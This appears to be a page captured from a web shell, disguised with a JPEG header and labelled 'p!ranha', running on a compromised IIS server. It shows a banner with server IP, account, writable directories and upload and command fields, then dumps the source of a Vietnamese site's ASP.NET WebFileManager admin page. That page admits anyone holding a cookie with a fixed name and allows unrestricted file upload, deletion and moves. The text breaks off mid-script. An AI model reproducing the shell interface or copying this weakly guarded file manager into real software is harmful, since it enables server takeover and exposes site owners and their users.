JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 188.114.97.3  /  Your IP : 172.71.28.165
Web Server : Microsoft-IIS/10.0
System : Windows NT N3NWVPWEB011 10.0 build 17763 (Windows Server 2016) AMD64
User : IWPD_6083(ph1270002) ( 0)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  G:/PleskVhosts/hoptackinhdoanhdogo.com/sinhloigarment.vn/Admin/WebFileManager/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : G:/PleskVhosts/hoptackinhdoanhdogo.com/sinhloigarment.vn/Admin/WebFileManager/default.aspx
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Text.RegularExpressions" %>
<%@ Import Namespace="System.Configuration" %>
<%@ Page Language="vb" EnableSessionState="true" EnableViewState="False" Strict="True" %>

<%@ Register Src="../../UserControl/controlleft.ascx" TagName="controlleft" TagPrefix="uc1" %>
<HTML>
    <HEAD>
		<SCRIPT language="vb" runat="server">
	'--
	'-- ** DO NOT EDIT THIS VERSION **
	'--
	'-- This is the inline version of the code-behind master in default.aspx.
	'--
	'-- see "howto_inline_conversion.txt" for details on how to convert
	'-- a code-behind ASPX page to an inline ASPX page.
	'-- 
    Private _strImagePath As String             '-- path to GIF icon image files (absolute)
    Private _strHideFilePattern As String       '-- hide any files matching pattern
    Private _strHideFolderPattern As String     '-- hide any folders matching pattern
    Private _strAllowedPathPattern As String    '-- force user to stay on paths matching pattern
    Private _blnFlushContent As Boolean         '-- flush rows to the browser as they are written

    Private Const _strIconSize As String = "height=16 width=16"
    Private Const _strRenameTag As String = "_2_"
    Private Const _strCheckboxTag As String = "checked_"
    Private Const _strActionTag As String = "action"
    Private Const _strWebPathTag As String = "path"
    Private Const _strColSortTag As String = "sort"
    Private Const _strTargetFolderTag As String = "targetfolder"

    Private _FileOperationException As Exception

    ''' <summary>
    ''' tag used to seperate old filename from new filename for renamed files
    ''' </summary>
    Public ReadOnly Property RenameTag() As String
        Get
            Return _strRenameTag
        End Get
    End Property

    ''' <summary>
    ''' tag used to indicate the action field in the form
    ''' </summary>
    Public ReadOnly Property ActionTag() As String
        Get
            Return _strActionTag
        End Get
    End Property

    ''' <summary>
    ''' tag used to indicate file checkboxes in the form
    ''' </summary>
    Public ReadOnly Property CheckboxTag() As String
        Get
            Return _strCheckboxTag
        End Get
    End Property

    ''' <summary>
    ''' tag used to indicate the target folder field in the form
    ''' </summary>
    Public ReadOnly Property TargetFolderTag() As String
        Get
            Return _strTargetFolderTag
        End Get
    End Property

    ''' <summary>
    ''' returns the current web path being browsed
    ''' </summary>
    Public ReadOnly Property CurrentWebPath() As String
        Get
            Return WebPath()
        End Get
    End Property

    ''' <summary>
    ''' returns the current script filename (.aspx)
    ''' </summary>
    Public ReadOnly Property ScriptName() As String
        Get
            Return Request.ServerVariables("script_name")
        End Get
    End Property

    ''' <summary>
    ''' This event fires when the page is being loaded
    ''' </summary>
		    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
		        '-- get .config settings
		        If Request.Cookies("LLvnnewz") IsNot Nothing Then
		        Else
		            Response.Redirect("~/Admin/Login.aspx")
		        End If
		        _strHideFolderPattern = GetConfigString("HideFolderPattern")
		        _strHideFilePattern = GetConfigString("HideFilePattern")
		        _strAllowedPathPattern = GetConfigString("AllowedPathPattern")
		        _strImagePath = GetConfigString("ImagePath", "images/")
		        _blnFlushContent = (GetConfigString("FlushContent") <> "")
		        'lblUserName.Text = CStr(Session("username"))
		        
		    End Sub

    ''' <summary>
    ''' Retrieve a value from the .config file appSettings
    ''' </summary>
    Private Function GetConfigString(ByVal strKey As String, Optional ByVal strDefaultValue As String = "") As String
        strKey = "WebFileManager/" & strKey
        If ConfigurationSettings.AppSettings(strKey) Is Nothing Then
            Return strDefaultValue
        Else
            Return Convert.ToString(ConfigurationSettings.AppSettings(strKey))
        End If
    End Function

    ''' <summary>
    ''' performs the user action indicated in the hidden Action form field
    ''' </summary>
    Public Sub HandleAction()
        If Request.Form(_strActionTag) Is Nothing Then Return

        Dim strAction As String = Request.Form(_strActionTag).ToLower
        If strAction = "" Then Return

        Select Case strAction
            Case "newfolder"
                MakeFolder(GetTargetPath)
            Case "upload"
                SaveUploadedFile()
            Case Else
                ProcessCheckedFiles(strAction)
        End Select
        If Not _FileOperationException Is Nothing Then
            WriteError(_FileOperationException)
        End If
    End Sub

    ''' <summary>
    ''' performs the specified action on all checked files
    ''' </summary>
    Private Sub ProcessCheckedFiles(ByVal strAction As String)
        Dim intLoc As Integer
        Dim strName As String
        Dim intTagLength As Integer = _strCheckboxTag.Length
        Dim FileList As New ArrayList

        For Each strItem As String In Request.Form
            intLoc = strItem.IndexOf(_strCheckboxTag)
            If intLoc > -1 Then
                _FileOperationException = Nothing
                strName = strItem.Substring(intLoc + intTagLength)
                FileList.Add(strName)
                Select Case strAction
                    Case "delete"
                        DeleteFileOrFolder(strName)
                    Case "move"
                        MakeFolder(GetTargetPath)
                        MoveFileOrFolder(strName)
                    Case "copy"
                        MakeFolder(GetTargetPath)
                        CopyFileOrFolder(strName)
                    Case "rename"
                        RenameFileOrFolder(strName)
                End Select
            End If
        Next

        '-- certain operations must work on all the selected files/folders at once.
        If strAction = "zip" Then
            ZipFileOrFolder(FileList)
        End If
    End Sub

    ''' <summary>
    ''' Saves the first HttpPostedFile (if there is one) to the current folder
    ''' </summary>
    Private Sub SaveUploadedFile()
        If Request.Files.Count > 0 Then
            Dim pf As HttpPostedFile = Request.Files.Item(0)
            If pf.ContentLength > 0 Then
                Dim strFilename As String = pf.FileName
                Dim strTargetFile As String = GetLocalPath(Path.GetFileName(strFilename))
                '-- make sure we clear out any existing file before uploading
                If File.Exists(strTargetFile) Then
                    DeleteFileOrFolder(strFilename)
                End If
                Try
                    pf.SaveAs(strTargetFile)
                Catch ex As Exception
                    _FileOperationException = ex
                End Try
            End If
        End If
    End Sub


    ''' <summary>
    ''' writes complete table to page, including header, body, and footer
    ''' </summary>
    Public Sub WriteTable()
        Dim intRowsRendered As Integer
        With Response
		            '-- header table
		            .Write("<br />")
            .Write("<TABLE class=""Header"" width=""100%"" border=0>")
            .Write("<TR>")
            .Write("<TD width=310>")
            .Write("<IMG src=""" & _strImagePath & "file/folder.gif"" " & _strIconSize & " align=absmiddle>&nbsp;")
		            '.Write("<INPUT type=""text"" name=""path"" readonly=""true"" visible=""false"" value=""" & WebPath() & """ size=35>")
		            '.Write("<INPUT type=""submit""  value=""Go"">")
            .Write("<TD width=150>")
            .Write(UpUrl)
            .Write("<IMG src=""" & _strImagePath & "icon/folderup.gif"" " & _strIconSize & " align=absmiddle>&nbsp;Move up a folder</A>")
            .Write("<TD align=right width=""*""><a href=""#bottom"" title=""end key"">Scroll to Bottom</a>")
            .Write("</TABLE>")
            .Write(Environment.NewLine)
            Flush()

            '-- body table
            .Write("<TABLE cellspacing=0 border=0 width=""100%"" STYLE=""table-layout:fixed"">")
            .Write("<TR>")
            .Write("<TH width=20 align=right><INPUT name=""all_files_checkbox"" onclick=""javascript:checkall(this);"" type=checkbox>")
            .Write("<TH width=20 align=center>")
            .Write("<TH align=left>" & PageUrl("", "Name") & "File Name</a>")
            .Write("<TH width=80 align=right>" & PageUrl("", "Size") & "Size</a>")
            .Write("<TH width=30 align=left>")
            .Write("<TH width=150 align=right>" & PageUrl("", "Created") & "Created</a>")
		            .Write("<TH width=150 align=right>" & PageUrl("", "Modified") & "Modified</a>")
		            .Write("<TH width=45 align=right>" & PageUrl("", "Attr") & "Attr</a>")
            .Write(Environment.NewLine)
            Flush()

            '-- render body table rows for folders and files
            intRowsRendered = WriteRows()

            .Write("</TABLE>")
            Flush()

            '-- footer table
            If intRowsRendered < 0 Then Return

            .Write("<a name=""bottom""></a>")
            .Write("<TABLE class=""Header"" width=""100%"">")
            .Write("<TR>")
            .Write("<TD width=""300"" valign=""top"">")
            .Write("<IMG src=""" & _strImagePath & "file/folder.gif"" " & _strIconSize & " align=absmiddle>")
            .Write("&nbsp;<input type=""text"" name=""" & _strTargetFolderTag & """ size=35>")
            .Write("<TD width=""*"" valign=""top"" rowspan=2> ")

            .Write("<TABLE>")
            .Write("<TR>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:newfolder();"">")
            .Write("<IMG src=""" & _strImagePath & "icon/newfolder.gif"" width=19 height=16 align=absmiddle>")
            .Write("&nbsp;New folder</A>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:confirmfiles('copy');"">")
            .Write("<IMG src=""" & _strImagePath & "icon/copy.gif"" " & _strIconSize & " align=absmiddle>&nbsp;Copy to folder</A>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:confirmfiles('move');"">")
            .Write("<IMG src=""" & _strImagePath & "icon/move.gif"" " & _strIconSize & " align=absmiddle>&nbsp;Move to folder</A>")
            .Write("<TD width=""*"">")
            .Write("<TR>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:upload();"">")
            .Write("<IMG src=""" & _strImagePath & "icon/upload.gif"" width=18 height=16 align=absmiddle>&nbsp;Upload a file</A>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:confirmfiles('delete');"">")
		            .Write("<IMG src=""" & _strImagePath & "icon/delete.gif"" width=18 height=16 align=absmiddle>&nbsp;Delete</A>")
            .Write("<TD width=140>")
            .Write("<A href=""javascript:confirmfiles('rename');"">")
            .Write("<IMG src=""" & _strImagePath & "icon/rename.gif"" " & _strIconSize & " align=absmiddle>&nbsp;Rename</A>")
            .Write("<TD width=""*"">")
            .Write("<A href=""javascript:confirmfiles('zip');"">")
            '.Write("<IMG src=""" & _strImagePath & "icon/abc.gif"" " & _strIconSize & " align=absmiddle>")
            '.Write("&nbsp;Zip</A>")
            .Write("</TABLE>")

            .Write("<TR>")
            .Write("<TD width=""*"" valign=""top"">")
            .Write("<IMG src=""" & _strImagePath & "file/generic.gif"" " & _strIconSize & " align=absmiddle>")
            .Write("&nbsp;<INPUT type=""file"" name=""fileupload"" />")
            .Write("<TD width=""*"">")
            .Write("</TABLE>")
        End With
        Flush()
    End Sub

    ''' <summary>
    ''' Gets all files and folders for the current path, and writes rows for each one
    ''' </summary>
    Private Function WriteRows() As Integer
        Const strPathError As String = "The path '{0}' {1} <a href='javascript:history.go(-1);'>Go back</a>"

        '-- make sure we're allowed to look at this web path
        If _strAllowedPathPattern <> "" AndAlso _
            Not Regex.IsMatch(WebPath, _strAllowedPathPattern) Then
            WriteErrorRow(String.Format(strPathError, WebPath, "is not allowed because it does not match the pattern '" & Server.HtmlEncode(_strAllowedPathPattern) & "'."))
            Return -1
        End If

        '-- make sure this directory exists on the server
        Dim strLocalPath As String = GetLocalPath()
        If Not Directory.Exists(strLocalPath) Then
            WriteErrorRow(String.Format(strPathError, WebPath, "does not exist."))
            Return -1
        End If

        '-- make sure we can get the files and directories for this directory
        Dim da As DirectoryInfo()
        Dim fa As FileInfo()
        Try
            Dim di As New DirectoryInfo(strLocalPath)
		            da = di.GetDirectories
		            fa = di.GetFiles("*.*")
        Catch ex As Exception
            WriteErrorRow(ex)
            Return -1
        End Try

        '-- add all file/directory info to intermediate DataTable
        Dim dt As DataTable = GetFileInfoTable()
        dt.BeginLoadData()
        For Each d As DirectoryInfo In da
            AddRowToFileInfoTable(d, dt)
        Next
        For Each f As FileInfo In fa
            AddRowToFileInfoTable(f, dt)
        Next
        dt.EndLoadData()
        dt.AcceptChanges()

        If dt.Rows.Count = 0 Then
            WriteErrorRow("(no files)")
            Return 0
        End If

        '-- sort and render intermediate DataView from our DataTable
        Dim dv As DataView
        If SortColumn() = "" Then
            dv = dt.DefaultView
        Else
            dv = New DataView(dt)
            If SortColumn.StartsWith("-") Then
                dv.Sort = "IsFolder, " & SortColumn().Substring(1) & " desc"
            Else
                dv.Sort = "IsFolder desc, " & SortColumn()
            End If
        End If

        Dim intRenderedRows As Integer = 0
        For Each drv As DataRowView In dv
            If WriteViewRow(drv) Then intRenderedRows += 1
        Next

        Return intRenderedRows
    End Function

    ''' <summary>
    ''' returns intermediate DataTable of File/Directory info 
    ''' to be used for sorting prior to display
    ''' </summary>
    Private Function GetFileInfoTable() As DataTable
        Dim dt As New DataTable
        With dt.Columns
            .Add(New DataColumn("Name", GetType(System.String)))
            .Add(New DataColumn("IsFolder", GetType(System.Boolean)))
            .Add(New DataColumn("FileExtension", GetType(System.String)))
            .Add(New DataColumn("Attr", GetType(System.String)))
            .Add(New DataColumn("Size", GetType(System.Int64)))
            .Add(New DataColumn("Modified", GetType(System.DateTime)))
            .Add(New DataColumn("Created", GetType(System.DateTime)))
        End With
        Return dt
    End Function

    ''' <summary>
    ''' translates a FileSystemInfo entry to a DataRow in our intermediate DataTable
    ''' </summary>
    Private Sub AddRowToFileInfoTable(ByVal fi As FileSystemInfo, ByVal dt As DataTable)
        Dim dr As DataRow = dt.NewRow
        Dim Attr As String = AttribString(fi.Attributes)
        With dr
            .Item("Name") = fi.Name
            .Item("FileExtension") = Path.GetExtension(fi.Name)
            .Item("Attr") = Attr
            If Attr.IndexOf("d") > -1 Then
                .Item("IsFolder") = True
                .Item("Size") = 0
            Else
                .Item("IsFolder") = False
                .Item("Size") = New FileInfo(fi.FullName).Length
            End If
            .Item("Modified") = fi.LastWriteTime
            .Item("Created") = fi.CreationTime
        End With
        dt.Rows.Add(dr)
    End Sub


    ''' <summary>
    ''' Returns the specified sort column, if any, provided in the URL querystring
    ''' </summary>
    Private Function SortColumn() As String
        If Request.QueryString(_strColSortTag) Is Nothing Then
            Return "Name"
        Else
            Return Request.QueryString(_strColSortTag)
        End If
    End Function

    ''' <summary>
    ''' Returns the current URL path we're browsing at the moment
    ''' </summary>
    Private Function WebPath() As String
        Dim strPath As String = Request.Item(_strWebPathTag)
		        If strPath = Nothing OrElse strPath = "" Or strPath = "/TempTest" Or strPath = "/TempTest/" Then
		            strPath = GetConfigString("DefaultPath", "/file/image/")
		        End If
		        Return strPath
		    End Function

		    ''' <summary>
		    ''' Returns the URL for one level "up" from our current WebPath()
		    ''' </summary>
		    Private Function UpUrl() As String
		        Dim strUp As String = Regex.Replace(WebPath(), "/[^/]+$", "")
		        If strUp = "" Or strUp = "thietke/image/" Then
		            strUp = GetConfigString("DefaultPath", "/file/image/")
		        End If
		        Return PageUrl(strUp)
		    End Function

		    ''' <summary>
		    ''' return partial URL to this page, optionally specifying a new target path
		    ''' </summary>
		    Private Function PageUrl(Optional ByVal NewPath As String = "", _
		        Optional ByVal NewSortColumn As String = "") As String

		        Dim blnSortProvided As Boolean = (NewSortColumn <> "")

		        '-- if not provided, use the current values in the querystring
		        If NewPath = "" Then NewPath = WebPath()
		        If NewSortColumn = "" Then NewSortColumn = SortColumn()

		        Dim sb As New System.Text.StringBuilder
		        With sb
		            .Append("<A href=""")
		            .Append(ScriptName)
		            .Append("?")
		            .Append(_strWebPathTag)
		            .Append("=")
		            .Append(NewPath)
		            If NewSortColumn <> "" Then
		                .Append("&")
		                .Append(_strColSortTag)
		                .Append("=")
		                If blnSortProvided And (NewSortColumn.ToLower = SortColumn().ToLower) Then
		                    .Append("-")
		                End If
		                .Append(NewSortColumn)
		            End If
		            .Append(""">")
		        End With

		        Return sb.ToString
		    End Function

		    ''' <summary>
		    ''' given file object, return formatted KB size in text
		    ''' </summary>
		    Private Function FormatKB(ByVal FileLength As Long) As String
		        Return String.Format("{0:N0}", (FileLength / 1024))
		    End Function

		    ''' <summary>
		    ''' turn numeric attribute into standard "RHSDAC" text
		    ''' </summary>
		    Private Function AttribString(ByVal a As IO.FileAttributes) As String
		        Dim sb As New StringBuilder
		        If (a And FileAttributes.ReadOnly) > 0 Then sb.Append("r")
		        If (a And FileAttributes.Hidden) > 0 Then sb.Append("h")
		        If (a And FileAttributes.System) > 0 Then sb.Append("s")
		        If (a And FileAttributes.Directory) > 0 Then sb.Append("d")
		        If (a And FileAttributes.Archive) > 0 Then sb.Append("a")
		        If (a And FileAttributes.Compressed) > 0 Then sb.Append("c")
		        Return sb.ToString
		    End Function

		    ''' <summary>
		    ''' path.combine works great, but is filesystem-centric; we just convert the slashes
		    ''' </summary>
		    Private Function WebPathCombine(ByVal path1 As String, ByVal path2 As String) As String
		        Dim strTemp As String = Path.Combine(path1, path2).Replace("\", "/")
		        If strTemp.IndexOf("~/") > -1 Then
		            strTemp = strTemp.Replace("~/", Page.ResolveUrl("/file/image/"))
		        End If
		        Return strTemp
		    End Function

    ''' <summary>
    ''' given filename, return URL to icon image for that filetype
    ''' </summary>
    Private Function FileIconLookup(ByVal drv As DataRowView) As String

        If IsDirectory(drv) Then
            Return WebPathCombine(_strImagePath, "file/folder.gif")
        End If

        Select Case Convert.ToString(drv.Item("FileExtension"))
		            Case ".gif", ".peg", ".jpe", ".jpg", ".png", ".JPG"
		                Return WebPathCombine(WebPath, Convert.ToString(drv.Item("Name")))
		                'Return "file_image.gif"
            Case ".txt"
                Return WebPathCombine(_strImagePath, "file/text.gif")
            Case ".htm", ".xml", ".xsl", ".css", ".html", ".config"
                Return WebPathCombine(_strImagePath, "file/html.gif")
            Case ".mp3", ".wav", ".wma", ".au", ".mid", ".ram", ".rm", ".snd", ".asf"
                Return WebPathCombine(_strImagePath, "file/audio.gif")
            Case ".zip", "tar", ".gz", ".rar", ".cab", ".tgz"
                Return WebPathCombine(_strImagePath, "file/compressed.gif")
            Case ".asp", ".wsh", ".js", ".vbs", ".aspx", ".cs", ".vb"
                Return WebPathCombine(_strImagePath, "file/script.gif")
            Case Else
                Return WebPathCombine(_strImagePath, "file/generic.gif")
        End Select
    End Function

    ''' <summary>
    ''' writes a table row containing information about the file or folder
    ''' </summary>
    Private Function WriteViewRow(ByVal drv As DataRowView) As Boolean
        Dim strFileLink As String
        Dim strFileName As String = Convert.ToString(drv.Item("Name"))
        Dim strFilePath As String = WebPathCombine(WebPath, strFileName)
        Dim blnFolder As Boolean = IsDirectory(drv)

        If blnFolder Then
            If _strHideFolderPattern <> "" AndAlso _
                Regex.IsMatch(strFileName, _strHideFolderPattern, RegexOptions.IgnoreCase) Then
                Return False
            End If
            strFileLink = PageUrl(strFilePath) & strFileName & "</A>"
        Else
            If _strHideFilePattern <> "" AndAlso _
                Regex.IsMatch(strFileName, _strHideFilePattern, RegexOptions.IgnoreCase) Then
                Return False
            End If
            strFileLink = "<A href=""" & strFilePath & """ target=""_blank"">" & strFileName & "</A>"
        End If

        With Response
            .Write("<TR>")
            .Write("<TD align=right><INPUT name=""")
            .Write(_strCheckboxTag)
            .Write(strFileName)
            .Write(""" type=checkbox>")
            .Write("<TD align=center><IMG src=""")
            .Write(FileIconLookup(drv))
            .Write(""" ")
            .Write(_strIconSize)
            .Write(">")
            .Write("<TD>")
            .Write(strFileLink)
            .Write("<TD align=right>")
            If blnFolder Then
                .Write("<TD align=left>")
            Else
                .Write(FormatKB(Convert.ToInt64(drv.Item("Size"))))
                .Write("<TD align=left>kb")
            End If
            .Write("<TD align=right>")
            .Write(Convert.ToString(drv.Item("Created")))
            .Write("<TD align=right>")
            .Write(Convert.ToString(drv.Item("Modified")))
            .Write("<TD align=right>")
            .Write(Convert.ToString(drv.Item("Attr")))
            .Write(Environment.NewLine)
        End With
        Flush()

        Return True
    End Function

    ''' <summary>
    ''' optionally dumps the current response buffer to the client as it is being rendered.
    ''' This is faster, but it can cause problems with some HTTP filters 
    ''' so it is off by default.
    ''' </summary>
    Private Sub Flush()
        If _blnFlushContent Then Response.Flush()
    End Sub

    ''' <summary>
    ''' maps the current web path to a server filesystem path
    ''' </summary>
    Private Function GetLocalPath(Optional ByVal strFilename As String = "") As String
        Return Path.Combine(Server.MapPath(WebPath), strFilename)
    End Function

    ''' <summary>
    ''' converts a filesystem path to a relative path based on our current 
    ''' file browsing path, WITHOUT a leading slash
    ''' </summary>
    Private Function MakeRelativePath(ByVal strFilename As String) As String
        Dim strRelativePath As String = strFilename.Replace(Server.MapPath(WebPath), "")
        If strRelativePath.StartsWith("\") Then
            Return strRelativePath.Substring(1)
        Else
            Return strRelativePath
        End If
    End Function

    ''' <summary>
    ''' maps the current web path, plus target folder, to a server filesystem path
    ''' </summary>
    Private Function GetTargetPath(Optional ByVal strFilename As String = "") As String
        Return Path.Combine(Path.Combine(GetLocalPath, Request.Form(_strTargetFolderTag)), strFilename)
    End Function

    ''' <summary>
    ''' returns True if the provided path is an existing directory
    ''' </summary>
    Private Function IsDirectory(ByVal strFilepath As String) As Boolean
        Return Directory.Exists(strFilepath)
    End Function

    ''' <summary>
    ''' Returns true if this DataRowView represents a directory/folder
    ''' </summary>
    Private Function IsDirectory(ByVal drv As DataRowView) As Boolean
        Return Convert.ToString(drv.Item("attr")).IndexOf("d") > -1
    End Function

    ''' <summary>
    ''' deletes a file or folder
    ''' </summary>
    Private Sub DeleteFileOrFolder(ByVal strName As String)
        Dim strLocalPath As String = GetLocalPath(strName)
        Try
            RemoveReadOnly(strLocalPath)
            If IsDirectory(strLocalPath) Then
                Directory.Delete(strLocalPath, True)
            Else
                File.Delete(strLocalPath)
            End If
        Catch ex As Exception
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' moves a file from the current folder to the target folder
    ''' </summary>
    Private Sub MoveFileOrFolder(ByVal strName As String)
        Dim strLocalPath As String = GetLocalPath(strName)
        Dim strTargetPath As String = GetTargetPath(strName)
        Try
            If IsDirectory(strLocalPath) Then
                Directory.Move(strLocalPath, strTargetPath)
            Else
                File.Move(strLocalPath, strTargetPath)
            End If
        Catch ex As Exception
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' moves a file from the current folder to the target folder
    ''' </summary>
    Private Sub CopyFileOrFolder(ByVal strName As String)
        Dim strLocalPath As String = GetLocalPath(strName)
        Dim strTargetPath As String = GetTargetPath(strName)

        Try
            If IsDirectory(strLocalPath) Then
                CopyFolder(strLocalPath, strTargetPath, True)
            Else
                File.Copy(strLocalPath, strTargetPath)
            End If
        Catch ex As Exception
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' Compress all the selected files
    ''' due to limitations of SharpZipLib, this must be done in one pass 
    ''' (it cannot modify an existing zip file!)
    ''' </summary>
    Private Sub ZipFileOrFolder(ByVal FileList As ArrayList)
        Dim ZipTargetFile As String

        If FileList.Count = 1 Then
            ZipTargetFile = GetLocalPath(Path.ChangeExtension(Convert.ToString(FileList.Item(0)), ".zip"))
        Else
            ZipTargetFile = GetLocalPath("ZipFile.zip")
        End If

        Dim zfs As FileStream
        Dim zs As ICSharpCode.SharpZipLib.Zip.ZipOutputStream
        Try
            If File.Exists(ZipTargetFile) Then
                zfs = File.OpenWrite(ZipTargetFile)
            Else
                zfs = File.Create(ZipTargetFile)
            End If

            zs = New ICSharpCode.SharpZipLib.Zip.ZipOutputStream(zfs)

            ExpandFileList(FileList)

            For Each strName As String In FileList
                Dim ze As ICSharpCode.SharpZipLib.Zip.ZipEntry
                '-- the ZipEntry requires a preceding slash if the file is a folder
                If strName.IndexOf("\") > -1 And Not strName.StartsWith("\") Then
                    ze = New ICSharpCode.SharpZipLib.Zip.ZipEntry("\" & strName)
                Else
                    ze = New ICSharpCode.SharpZipLib.Zip.ZipEntry(strName)
                End If

                ze.DateTime = DateTime.Now
                zs.PutNextEntry(ze)

                Dim fs As FileStream
                Try
                    fs = File.OpenRead(GetLocalPath(strName))
                    Dim buffer(2048) As Byte
                    Dim len As Integer = fs.Read(buffer, 0, buffer.Length)
                    Do While len > 0
                        zs.Write(buffer, 0, len)
                        len = fs.Read(buffer, 0, buffer.Length)
                    Loop
                Catch ex As Exception
                    _FileOperationException = ex
                Finally
                    If Not fs Is Nothing Then fs.Close()
                    zs.CloseEntry()
                End Try
            Next
        Finally
            If Not zs Is Nothing Then zs.Close()
            If Not zfs Is Nothing Then zfs.Close()
        End Try
    End Sub

    ''' <summary>
    ''' renames a file; assumes filename is "(oldname)(renametag)(newname)"
    ''' </summary>
    Private Sub RenameFileOrFolder(ByVal strName As String)
        Dim strOldName As String
        Dim strNewName As String
        Dim intTagLoc As Integer = strName.IndexOf(_strRenameTag)
        If intTagLoc = -1 Then Return

		        strOldName = strName.Substring(0, intTagLoc)
        strNewName = strName.Substring(intTagLoc + _strRenameTag.Length)
        If strOldName = strNewName Then Return

        Dim strOldPath As String = GetLocalPath(strOldName)
        Dim strNewPath As String = GetLocalPath(strNewName)

        Try
            If IsDirectory(strOldPath) Then
                Directory.Move(strOldPath, strNewPath)
            Else
                File.Move(strOldPath, strNewPath)
            End If
        Catch ex As Exception
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' creates a subfolder in the current folder
    ''' </summary>
    Private Sub MakeFolder(ByVal strFilename As String)
        Dim strLocalPath As String = GetLocalPath(strFilename)
        Try
            If Not Directory.Exists(strLocalPath) Then
                Directory.CreateDirectory(strLocalPath)
            End If
        Catch ex As Exception
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' recursively copies a folder, and all subfolders and files, to a target path
    ''' </summary>
    Private Sub CopyFolder(ByVal strSourceFolderPath As String, ByVal strDestinationFolderPath As String, _
        ByVal blnOverwrite As Boolean)

        '-- make sure target folder exists
        If Not Directory.Exists(strDestinationFolderPath) Then
            Directory.CreateDirectory(strDestinationFolderPath)
        End If

        '-- copy all of the files in this folder to the destination folder
        For Each strFilePath As String In Directory.GetFiles(strSourceFolderPath)
            Dim strFileName As String = Path.GetFileName(strFilePath)
            '-- if exception, will be caught in calling proc
            File.Copy(strFilePath, Path.Combine(strDestinationFolderPath, strFileName), blnOverwrite)
        Next

        '-- copy all of the subfolders in this folder
        For Each strFolderPath As String In Directory.GetDirectories(strSourceFolderPath)
            Dim strFolderName As String = Regex.Match(strFolderPath, "[^\\]+$").ToString
            CopyFolder(strFolderPath, Path.Combine(strDestinationFolderPath, strFolderName), blnOverwrite)
        Next
    End Sub

    ''' <summary>
    ''' Given an ArrayList of file and folder names, ensure that the 
    ''' ArrayList contains all subfolder file names
    ''' </summary>
    Private Sub ExpandFileList(ByRef FileList As ArrayList)

        Dim strLocalPath As String
        Dim NewFileList As New ArrayList

        For i As Integer = FileList.Count - 1 To 0 Step -1
            strLocalPath = GetLocalPath(Convert.ToString(FileList.Item(i)))
            If IsDirectory(strLocalPath) Then
                FileList.Remove(FileList.Item(i))
                AddFilesFromFolder(strLocalPath, NewFileList)
            End If
        Next

        If NewFileList.Count > 0 Then
            FileList.AddRange(NewFileList)
        End If
    End Sub

    ''' <summary>
    ''' Adds all the files in the specified folder to the FileList, 
    ''' </summary>
    Private Sub AddFilesFromFolder(ByVal strFolderName As String, ByRef FileList As ArrayList)
        If Not Directory.Exists(strFolderName) Then Return

        Try
            For Each strName As String In Directory.GetFiles(strFolderName)
                FileList.Add(MakeRelativePath(strName))
            Next
        Catch ex As Exception
            '-- mostly to catch "access denied"
            _FileOperationException = ex
        End Try

        Try
            For Each strName As String In Directory.GetDirectories(strFolderName)
                AddFilesFromFolder(strName, FileList)
            Next
        Catch ex As Exception
            '-- mostly to catch "access denied"
            _FileOperationException = ex
        End Try
    End Sub

    ''' <summary>
    ''' recursively removes the read only tag from a file or folder, if it is present
    ''' </summary>
    Private Sub RemoveReadOnly(ByVal strPath As String)
        If IsDirectory(strPath) Then
            For Each strFile As String In Directory.GetFiles(strPath)
                RemoveReadOnly(strFile)
            Next
            For Each strFolder As String In Directory.GetDirectories(strPath)
                RemoveReadOnly(strFolder)
            Next
        Else
            Dim fi As New FileInfo(strPath)
            If (fi.Attributes And FileAttributes.ReadOnly) <> 0 Then
                fi.Attributes = fi.Attributes Xor FileAttributes.ReadOnly
            End If
        End If
    End Sub

    ''' <summary>
    ''' returns the windows identity that ASP.NET is currently running under
    ''' </summary>
    Private Function CurrentIdentity() As String
        Return System.Security.Principal.WindowsIdentity.GetCurrent.Name
    End Function

    ''' <summary>
    ''' adds additional helpful information to certain types of exceptions
    ''' </summary>
    Private Function GetFriendlyErrorMessage(ByVal ex As Exception) As String
        Dim strMessage As String = ex.Message
        If TypeOf ex Is System.UnauthorizedAccessException Then
            strMessage &= " The account '" & CurrentIdentity() & "' may not have permission to this file or folder."
        End If
        Return strMessage
    End Function

    ''' <summary>
    ''' Parse and display any exceptions encountered during a file operation
    ''' </summary>
    Private Sub WriteError(ByVal ex As Exception)
        WriteError(GetFriendlyErrorMessage(ex))
    End Sub
    Private Sub WriteError(ByVal strText As String)
        Response.Write("<DIV class=""Error"">")
        Response.Write(strText)
        Response.Write("</DIV>")
    End Sub
    Private Sub WriteErrorRow(ByVal ex As Exception)
        WriteErrorRow(GetFriendlyErrorMessage(ex))
    End Sub
    Private Sub WriteErrorRow(ByVal strText As String)
        Response.Write("<TR><TD><TD><TD colspan=5><DIV class=""Error"">")
        Response.Write(strText)
        Response.Write("</DIV>")
    End Sub
		</SCRIPT>		
        <TITLE>WebFileManager Browsing
            <%=CurrentWebPath%>
        </TITLE>
        <meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
        <SCRIPT language="JavaScript">	
		// create new folder
		function newfolder() {
			if (document.forms[0].elements['<%=TargetFolderTag%>'].value == '') {
				alert('No folder name was provided. Enter a new folder name in the textbox.');
				document.forms[0].elements['<%=TargetFolderTag%>'].focus();
				return;
			}
			document.forms[0].action.value = 'newfolder';
			document.forms[0].submit();
		}
		
		function upload() {
			if (document.forms[0].elements['fileupload'].value == '') {
				alert('No upload file was provided. Select a file to upload.');
